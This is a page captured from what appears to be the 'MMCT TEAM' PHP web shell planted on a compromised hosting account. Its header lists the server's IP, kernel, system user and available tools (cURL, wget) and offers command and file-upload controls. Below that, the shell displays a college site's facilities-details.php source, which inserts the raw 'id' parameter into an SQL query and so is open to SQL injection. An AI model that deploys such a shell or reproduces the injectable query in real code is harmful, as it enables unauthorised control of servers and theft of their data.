MMCT TEAM
Server IP : 2a02:4780:3:1493:0:3736:a38e:7  /  Your IP : 216.73.216.134
Web Server : LiteSpeed
System : Linux sg-nme-web1393.main-hosting.eu 4.18.0-553.40.1.lve.el8.x86_64 #1 SMP Wed Feb 12 18:54:57 UTC 2025 x86_64
User : u926327694 ( 926327694)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/../lib/../home/u926327694/domains/nargundles.com/public_html/lipu/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/../lib/../home/u926327694/domains/nargundles.com/public_html/lipu/facilities-details.php
<?php
if(isset($_GET['id']))
{
    include('header.php');
    $news_letter_class = "newsletter-area-2";
    $id = $_GET['id'];
?>

<section class="page-banner">
    <div class="page-banner-bg bg_cover" style="background-image: url(assets/images/page-banner.jpg);">
        <div class="container">
            <div class="banner-content text-center">
                <h2 class="title">Facilities Details</h2>
            </div>
        </div>
    </div>
</section>

<section class="event-details mb-50" style="padding-top:0;">
    <div class="container">
        <?php
            $sel_fac = mysqli_query($con,"select * from facilities where is_active=1 and id=$id");
            while($res_fac = mysqli_fetch_array($sel_fac))
            {
        ?>
        <div class="row">
            <div class="col-lg-12">
                <div class="event-details-content mt-50">
                    <img src="adminweb/<?php echo $res_fac['photo']; ?>" alt="" >

                    <h2 class="title"><?php echo $res_fac['name']; ?></h2>
                    <p style="margin:0; display:inline-block;"><b>Department</b> : <?php echo $res_fac['department']; ?></p>
                    <p style="margin:0; display:inline-block;"> | <b>Add On</b> : <?php echo Date('d M Y',strtotime($res_fac['created_at'])); ?></p>
                    <p style="margin:0; display:inline-block;"> | <b>Last Update On</b> : <?php echo Date('d M Y',strtotime($res_fac['updated_at'])); ?></p>
                    
                    <p><?php echo $res_fac['description']; ?></p>

                </div>
            </div>
        </div>
        <?php
            }
        ?>
    </div>
</section>

<?php include('footer.php'); ?>
<?php
}
else
{
    echo"<script>window.location='facilities.php';</script>";
}
?>

MMCT - 2023